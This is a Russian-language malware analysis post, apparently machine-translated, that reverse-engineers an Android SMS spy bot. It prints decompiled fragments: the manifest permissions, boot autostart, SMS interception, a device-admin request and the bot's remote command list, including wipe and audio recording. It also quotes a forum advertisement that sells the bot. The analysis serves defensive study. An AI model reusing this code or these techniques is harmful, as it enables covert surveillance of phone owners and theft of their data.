Анализ Смс-Бота Для Android. Часть I



Анализ СМС-бота для Android. Часть I

Анализ СМС-бота для Android. Часть I



Введение
Анализ smsBot (Android) с целью выявления принципа работы и интересного функционала.

Бот реализован для платформы Android, алгоритм открытия приложения следующий:

  • Загрузите APK-файл;
  • Извлеките файл манифеста;
  • Декомпилируем приложение в читаемый исходный код или байт-код;
  • Анализируем манифест и код.
Инструменты:
  • Apktool — используется для извлечения манифеста и ресурсов;
  • Dex2jar – декомпилировать APK-файл в байт-код;
  • Jd-gui — конвертирует байт-код в читаемый код.





Познакомимся с манифестом
Открыв манифест, сразу обратим внимание на системные разрешения, которые мне показались более интересными:
  
  
  
  
  
  
  
  
   

<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.RECORD_AUDIO" />

Итак, наш бот читает состояние телефона, обрабатывает звонки, пишет на флэшку, пишет/читает/получает/отправляет СМС, читает базу контактов и записывает звук.

Интересный… Далее согласно манифесту.

Мы видим следующий код:

… <service android:name="com.soft360.iService.AService" android:enabled="true" android:exported="false" /> <service android:name="com.soft360.iService.webService" android:enabled="true" android:exported="false" /> <receiver android:name="com.soft360.iService.Alarm" android:enabled="true" android:exported="false" /> <receiver android:name="com.soft360.iService.AutoStart" android:enabled="true" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> <activity android:theme="@*android:style/Theme.Translucent" android:name="com.BioTechnology.iClientsService.IncomingCallActivity" /> <receiver android:name="com.soft360.Receiver.MyPhoneReceiver"> <intent-filter> <action android:name="android.intent.action.PHONE_STATE" /> </intent-filter> </receiver> <receiver android:name="com.soft360.web.MyAdmin" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> <meta-data android:name="android.app.device_admin" android:resource="@layout/policies" /> </receiver> …

Видим, что они объявлены:

  • Сервисы AService и webService,
  • приемники Alarm, AutoStart, MyPhoneReceiver (отслеживает состояние телефона, скорее всего звонки), MyAdmin (бот хочет администрировать устройство).

На этом закончим анализ манифеста.

Я просмотрел файлы ресурсов и не нашел ничего интересного.

Теперь перейдем к анализу полученного java-кода.



Анализ кода
Бот состоит как минимум из 19 основных рабочих классов.

В результате анализа я выделил самые основные и интересные классы, отвечающие за диверсионную деятельность бота:

  • - Автостарт.java;
  • - aService.java;
  • - smsParser.java;
  • - smsReciever.java;
  • - webServiceRobot.java;


MainActivity.java
Прежде чем мы начнем анализировать вышеуказанные классы, давайте взглянем на класс MainActivity. Посмотрим, что там интересного.



Intent localIntent1 = new Intent("android.provider.Telephony.SMS_RECEIVED"); localIntent1.setClass(this, SmsReciever.class); sendBroadcast(localIntent1); Intent localIntent2 = new Intent(this, AService.class); startService(localIntent2); Intent localIntent3 = new Intent(this, webService.class); startService(localIntent3);

Сразу после загрузки бот пытается:

  • Все входящие SMS-сообщения должны отправляться на SmsReciver;
  • Запускает службы AService и webService.
Далее в коде мы видим еще одну интересную вещь:

Intent localIntent4 = new Intent("android.app.action.ADD_DEVICE_ADMIN"); localIntent4.putExtra("android.app.extra.DEVICE_ADMIN", this.compName); localIntent4.putExtra("android.app.extra.ADD_EXPLANATION", "Additional text explaining why this needs to be added."); startActivityForResult(localIntent4, 1);

Видно, что бот пытается добавить себя в качестве администратора другого устройства.

Внимание! Обманчивый маневр.

Затем в MainActivity.java он запускает множество разных шаблонов для обмана пользователя, выдавая себя за приложение, которое якобы сканирует телефон на всевозможные мобильные уязвимости, а также якобы самообновляется.

И вся эта красота дана на португальском языке, с указанием какого-то австралийского банка.

Фактически никакого сканирования телефона, скачивания сертификатов и т.п.

нет. Запускаются только шаблоны-пустышки, имитирующие активную деятельность.

Вот пример такого манекена:

private class template4_task extends AsyncTask<Void, Void, Void> { private template4_task() {} protected Void doInBackground(Void. paramVarArgs) { try { TimeUnit.SECONDS.sleep(5L); return null; } catch (InterruptedException localInterruptedException) { for (;;) { localInterruptedException.printStackTrace(); }

Запускается Asintask, а там стоит таймер, который просто запускается и.

ничего не делает!

Автозапуск приемника
Этот ресивер начинает работать сразу после загрузки телефона и запускает те же действия, что и MainActivity:

Intent localIntent = new Intent("android.provider.Telephony.SMS_RECEIVED"); localIntent.setClass(paramContext, SmsReciever.class); paramContext.sendBroadcast(localIntent); paramContext.startService(new Intent(paramContext, AService.class)); paramContext.startService(new Intent(paramContext, webService.class));



сервис
Этот сервис, фильтруя события, регистрирует и запускает приемник smsReciever, который в свою очередь будет принимать и обрабатывать все полученные СМС-сообщения (но об этом чуть позже).

Вот доказательства:

… final IntentFilter smsFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); … this.smsFilter.setPriority(999); this.smsReceiver = new SmsReciever(); registerReceiver(this.smsReceiver, this.smsFilter);



smsReceiver и smsParser
Теперь перейдем к более интересным фрагментам кода бота.

Это приемник smsReceiver и отдельный класс для идентификации кодов от СМС и веб-админки.

Вот очень урезанный фрагмент кода smsReceiver:

public void onReceive(Context paramContext, Intent paramIntent) { … for (;;) { … { smsParser localsmsParser = smsParser.getInstance(); localsmsParser.setSMSMessage(localSmsMessage.getMessageBody()); if (localsmsParser.isStartSMS()) { localdbActions.setStartSMS(); } … if (localsmsParser.isStopSMS()) { localdbActions.setStopSMS(); } else if (localsmsParser.isStartCALL()) { try { localdbActions.setStartCALL(); } … else if (localsmsParser.isStopCALL()) { try { localdbActions.setStopCALL(); } … else if (localsmsParser.isSmsList()) { localdbActions.sent_smslist_to_server(); } else if (localsmsParser.isCallList()) { localdbActions.sent_Call_Details(); } else if (localsmsParser.isStartRecord()) { if (webServiceRobot.AR != null) { try { webServiceRobot.AR.stop(); webServiceRobot.AR = null; return; } … if (localsmsParser.isStopRecord()) { localdbActions.setStopRecord(); if (webServiceRobot.AR == null) { break; } try { webServiceRobot.AR.stop(); webServiceRobot.AR = null; } … } if (localsmsParser.isSmsSend()) { localdbActions.SendSMS(localSmsMessage.getMessageBody()); } else if (localsmsParser.isContactList()) { localdbActions.sent_call_list_details(); } else { if (!localsmsParser.isWipeData()) { break label592; } localdbActions.make_wipe_data(); .

paramContext.startService(new Intent(paramContext, AService.class)); paramContext.startService(new Intent(paramContext, webService.class)); …

Думаю, подробные комментарии не нужны.

Из кода понятно, что:

  • Установите флажки для запуска/остановки записи телефонных разговоров;
  • Отправка СМС;
  • Отправка списка SMS-сообщений;
  • Отправка списка звонков;
  • Перезапись информации и т. д.
Ключевой элемент localsmsParser. Итак, давайте теперь посмотрим на класс smsParser:

private static final String COMMAND_GET_CALL_LIST = "call list"; private static final String COMMAND_GET_CONTACT_LIST = "contact list"; private static final String COMMAND_GET_SMS_LIST = "sms list"; private static final String COMMAND_PING = "ping"; private static final String COMMAND_SEND_SMS = "sendSMS"; private static final String COMMAND_START_RECORD = "start record"; private static final String COMMAND_STOP_RECORD = "stop record"; private static final String COMMAND_WIPE_DATA = "wipe data"; private static final String startCALL = "call start"; private static final String startSMS = "sms start"; private static final String stopCALL = "call stop"; private static final String stopSMS = "sms stop"; private static final String changeNUM = "change num"; private static final int COM_CALL_LIST = 6; private static final int COM_CONTACT_LIST = 10; private static final int COM_NULL = -1; private static final int COM_PING = 12; private static final int COM_SEND_SMS = 9; private static final int COM_SMS_LIST = 5; private static final int COM_START_CALL = 3; private static final int COM_START_RECORD = 7; private static final int COM_START_SMS = 1; private static final int COM_STOP_CALL = 4; private static final int COM_STOP_RECORD = 8; private static final int COM_STOP_SMS = 2; private static final int COM_WIPE_DATA = 11; private static smsParser parser = null;

Используя эти константы, мы можем понять, какие функции может выполнять наш бот. Одни и те же команды задаются в строковой и числовой форме.

Скорее всего, производится проверка, из какого источника приходят команды (СМС или Интернет).



вебсервисробот
Этот класс похож на smsReceiver с той разницей, что он обрабатывает http-запросы.

Выполняются практически все те же действия:

  • Отправка СМС;
  • Отправка списка SMS-сообщений;
  • Отправка списка звонков;
  • Перезапись информации и т. д.
Плюс отправка полной информации об устройстве на сервер.



выводы
Итак, мы рассмотрели основные фрагменты кода.

Теперь сделаем выводы.

Бот хорошо написан и выполняет очень широкий набор функций.

Собственно, объявление с одного из форумов о продаже этого бота:

Уважаемые господа, мы рады предложить вам бота для мобильных устройств.

На данный момент бот реализован для операционной системы Android, также мы рады сообщить вам, что разработка Blackberry идет полным ходом, и первые бета-версии будут доступны в следующем месяце, всем клиентам, использующим Android-бот на Blackberry будут действовать значительные скидки.

Сейчас вкратце расскажу как это работает, для тех кто не знает, после установки на мобильное устройство приложение моментально залипает в удобную веб-панель если у вас есть 3g или wi-fi, а также отправляет СМС на контрольный номер с текстом Я (ICCID+ МОДЕЛЬ ТЕЛЕФОНА).

Наш бот реализован таким образом, что после входа в систему пользователь продолжает спокойно пользоваться своим телефоном, все функции ему доступны в обычном режиме.

В отличие от знаменитого «Перкеле», у нас нет конкретных цифр по перехвату; наш бот работает через систему команд. Команды подаются любым удобным для вас способом: либо с веб-панели при наличии Интернета, либо по СМС с контрольного номера.

Функционал:
  • Сбор всей информации о жертве (номер телефона, ICCID, IMEI, IMSI, модель, ОС)
  • Перехватывайте все входящие СМС и отправляйте их на веб-панель и на контрольный номер.

  • Переадресация звонка на любой номер
  • Захват всех входящих и исходящих SMS
  • Перехват всех входящих и исходящих звонков
  • Запишите аудиофайл, отправьте на сервер (мы знаем, что происходит вокруг)
  • Отправка СМС на любой номер без ведома владельца
  • Удобная веб-панель
Итак, данный софт продается, цена бота 4к, в комплекте вы получаете настроенную на вашем сервере админку + номер веб-управления + .

apk файл с уникальным интерфейсом, разработанным под ваши нужды, а также в качестве постоянной поддержки продукта.

Также готовы рассмотреть варианты аренды и совместной работы за процент (просьба не стучаться, если у вас нет уколов и вы не умеете ими пользоваться).

Для более подробной информации пишите мне в личку используя свой джаббер для связи, GPG и OTR жизненно необходимы.

Уважаемые господа.

Вышло ОБНОВЛЕНИЕ для Android. Все клиенты, пожалуйста, свяжитесь с нами для получения обновлений, и мы ждем новых клиентов.

Что нового?

  • Теперь наше приложение крайне сложно удалить.

    При установке приложения программа запрашивает права администратора устройства, если владелец их ему предоставит, то удалять приложение будет крайне нудно, сервисы перезапустятся и вы не потеряете этого бота.

    Если они его не предоставят, приложение продолжит работать в обычном режиме.

    Для вашего удобства в админ-панели появился индикатор, показывающий, предоставлены права администратора или нет.

  • Если вам предоставлены права администратора, то есть возможность сбросить телефон к заводским настройкам.

Имя SMS-бота от производителей антивирусов: Trojan-Spy.AndroidOS.Zbot.a/Android.Smssniffer/Android/SpySMS/AndroidOS_SMSREP.B Набиев Нурлан (Казахстан) , отдел по расследованию киберпреступлений , Пентест ИТ Теги: #информационная безопасность #обратный инжиниринг #анализ вредоносного ПО #пентестит #SMS-бот
Вместе с данным постом часто просматривают: